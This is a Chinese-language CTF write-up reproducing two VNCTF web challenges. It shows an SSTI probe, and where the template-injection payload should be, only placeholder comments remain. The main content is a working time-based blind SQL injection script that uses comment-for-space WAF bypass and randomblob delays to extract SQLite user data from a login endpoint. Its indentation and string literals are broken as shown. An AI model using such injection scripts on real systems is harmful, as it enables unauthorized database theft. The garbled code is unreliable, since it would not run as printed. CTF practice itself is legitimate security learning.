# vnctf 比赛部分复现

# web

# 学生姓名登记系统

image-20250224184704613

image-20250224184716567

存在 ssti 漏洞

判断是否在同一行里面(这样便于进行 ssti,打继承链)可以利用 python 中 jinja2 的表达式不论什么表达式在渲染模板时回自动回显表达式的值,我可以利用这个分析是不是在同一行里面来进行渲染,

{{a:=5}}%0a{{print(a)}}

如果是的话就会有 5 出现

不是就是原话了

image-20250224192605277

发现是同一行上进行的渲染

那已知这里是同一个上下文,直接打继承链就行了。

<!--swig2-->%0a<!--swig3-->%0a<!--swig4-->%0a<!--swig5-->%0a<!--swig6-->%0a<!--swig7-->%0a<!--swig8-->%0a<!--swig9-->%0a<!--swig10-->%0a<!--swig11-->%0
a<!--swig12-->%0a<!--swig13-->

# 奶龙回家

image-20250224190405369

image-20250224190437721

waf,得用 /**/ 代替空格,使用 randomblob 来进行延时

最终脚本:

import requests
import time
url = 'http://node.vnteam.cn:46017/login'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
 time.sleep(0.2)
 payload = "-
1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(usern
ame))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(500000
00)/**/else/**/0/**/end)/*".format(i,chr(mid))
 # payload = "-
1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(sql))
/**/from/**/sqlite_master),{0},1)>'{1}')/**/then/**/randomblob(300
000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
 datas = {
 "username":"123",
 "password": payload
 }
 # print(datas)
 start_time=time.time()
 res = requests.post(url=url,json=datas)
 end_time=time.time()
 spend_time=end_time-start_time
 if spend_time>=0.19:
 low = mid+1
 else:
 high = mid
 mid = (low+high)//2
if(mid ==32 or mid ==127):
 break
flag = flag+chr(mid)
print(flag)
print('\n'+bytes.fromhex(flag).decode('utf-8'))
Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal